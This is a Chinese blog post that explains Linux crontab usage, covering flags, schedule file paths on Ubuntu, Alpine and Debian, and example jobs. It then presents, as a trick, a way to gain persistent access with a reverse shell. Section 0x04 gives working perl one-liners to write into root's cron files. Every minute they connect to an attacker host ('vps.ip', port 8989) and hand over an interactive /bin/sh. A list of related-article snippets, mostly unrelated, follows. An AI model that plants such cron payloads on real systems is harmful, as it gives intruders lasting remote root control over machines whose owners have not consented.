【奇技淫巧】linux 定时任务 crontab 反弹 shell
日期:2018-11-26 13:47:34
介绍:如何使用定时任务来反弹 shell?
0x01、 基本命令
参数
-e:编辑该用户的计时器设置;
-l:列出该用户的计时器设置;
-r:删除该用户的计时器设置;
-u <用户名称>:指定要设定计时器的用户名称。
MAC 直接使用 crontab -e 无效:
编辑 username 的 crontab
$ sudo crontab -u username -e
列出 username 的 crontab,查看编辑后的数据
$ crontab -u username -l
0x02、具体信息
2.1 /etc/crontab 文件
该文件负责安排由系统管理员制定的维护系统以及其他任务的crontab。

minute hour day month week command
对应 分 时 日 月 周
2.2 如何开启服务
service cron start
或者
/etc/init.d/cron {start|stop|status|restart|reload|force-reload}
2.3 配置文件
系统任务调度文件:/etc/crontab
用户 XXX 调度文件:
ubuntu 下路径
/var/spool/cron/crontabs/xxx
Alpine 下路径
/etc/cron.d/xxx
debian 下的路径(xxx 可以是任意东西)
/etc/cron.d/xxx
或者
/var/spool/cron/crontabs/xxx
但是写这个路径的时候,文件内不能加用户名。
ubuntu 直接修改用户的调度文件后,可使用 crontab 相关命令直接查看、编辑。
Alpine 修改了文件,crontab 查不到。。
0x03、具体实例
每天的六点输出信息
0 6 * * * echo "Good morning." >> /tmp/test.txt
每晚的21:30重启smb
30 21 * * * /etc/init.d/smb restart
0x04、反弹 shell
Alpine 系统:将以下内容写入 /etc/cron.d/root 即可。
*/1 * * * * root perl -e 'use Socket;$i="vps.ip";$p=8989;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/sh -i");};'
##
ubuntu 系统:写入的文件是/var/spool/cron/crontabs/root
需要注意的是,ubuntu 不需要在5个*后面加 root。
*/1 * * * * perl -e 'use Socket;$i="vps.ip";$p=8989;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/sh -i");};'
直接写入文件以后,使用 crontab -l 可以看到加上的任务。
【奇技淫巧】linux 定时任务 crontab 反弹 shell的更多相关文章
- 【转帖】Linux定时任务Crontab命令详解
Linux定时任务Crontab命令详解 https://www.cnblogs.com/intval/p/5763929.html 知道有crontab 以及 at 命令 改天仔细学习一下 讲sys ...
- Linux定时任务Crontab命令详解_转
转自:Linux定时任务Crontab命令详解 (部分修改) linux 定时系统则是由 cron (crond) 这个系统服务来控制的.Linux 系统上面原本就有非常多的计划性工作,因此这个系统服 ...
- 如何让linux定时任务crontab按秒执行
如何让linux定时任务crontab按秒执行? linux定时任务crontab最小执行时间单位为分钟如果想以秒为单位执行,应该如何设置呢?思路 正常情况是在crontab中直接定义要执行的任务,现 ...
- linux定时任务crontab的设置
linux定时任务crontab的设置http://www.blogjava.net/freeman1984/archive/2010/09/23/332715.html vi /etc/cronta ...
- linux定时任务crontab怎样执行root命令
在/var/spool/cron/文件夹下放置了所有定时任务文件, 1.运行crontab -u $用户名 -e会显示$用户的所有定时任务: 2.运行sudo crontab -e会显示root用户所 ...
- Linux 定时任务 Crontab命令 详解
前言 crontab是Unix和Linux用于设置周期性被执行的指令,是互联网很常用的技术,很多任务都会设置在crontab循环执行,如果不使用crontab,那么任务就是常驻程序,这对你的程序要求比 ...
- linux定时任务crontab
今天在执行mysql定时任务语句时候问了很多大拿,都建议我不要随便在生产环境下写定时任务这样的语句,有的说会有延时,那样的话就不准了,有的说在.系统时间和本地时间不一致怎么办?后来就建议我用linux ...
- Linux 定时任务Crontab的使用
1.准备好Java程序,导出为Jar文件 如myProject.jar 2.写Shell脚本 startTask.sh echo 'start...' cd /home/root/yourFolde ...
- Linux定时任务Crontab使用 提示no crontab for root
使用命令查询crontab 任务时,一直提示:no crontab for root .查看了一些资料,说是crontab在初始时,设置了一次编辑方式,所以试了一下crontab -e的方式编辑,即在 ...
随机推荐
- java冒泡排序小实例
首先我们了解下什么是冒泡排序: 冒泡排序就是把小的元素往前调或者把大的元素往后调.比较是相邻的两个元素比较,交换也发生在这两个元素之间.所以,如果两个元素相等,我想你是不会再无聊地把他们俩交换一下的: ...
- ld - GNU linker (连接器)
总览 (SYNOPSIS) ld [-o output] objfile... [-Aarchitecture] [-b input-format] [-Bstatic] [-Bdynamic] [- ...
- centos7 部署zabbix服务器端
zabbix服务器端搭建与部署: 1.部署LAMP环境由于zabbix提供集中的web监控管理界面,因此服务在web界面的呈现需要LAMP架构支持.php 连接mysql服务,因为7版本mysql要收 ...
- Linux课程学习 第四课
学习必须如蜜蜂一样,采过许多花,这才能酿出蜜来 这月事比较多,每课的笔记都会慢慢补回来的,做事得有始有终 在网络上,人们越来越倾向于传输压缩格式的文件,原因是压缩文件体积小,在网速相同的情况下,传输时 ...
- python数据类型基础与解压缩
''' python数据类型基础与解压缩 ''' # a = 10 # b = 10 # c = 10 # 定义变量就是拿来用的, # 链式赋值 a = b = c = 10 print(a, b, ...
- 【CF896C】Willem, Chtholly and Seniorious
ODT模板题,ODT适合随机数据下具有维护区间推平操作的序列维护题目,时间复杂度较为玄学.. 代码如下 #include <bits/stdc++.h> #define pb push_b ...
- pandas的corsstab
pandas.crosstab(index, columns, values=None, rownames=None, colnames=None, aggfunc=None, margins=F ...
- Vue文件路径引入
- try-catch-finally try中有rerun 是否执行finally
finally块的语句在try或catch中的return语句执行之后返回之前执行且finally里的修改语句可能影响也可能不影响try或catch中 return已经确定的返回值,若finally里 ...
- java——HttpClient 代理模式发送Http Https
在setProxy()方法中设置代理IP后可以将url中的域名换成这个代理IP. http很简单,但是https这样会报错. 问题:如何使用代理发送https请求? 客户端发送https请求之前会先向 ...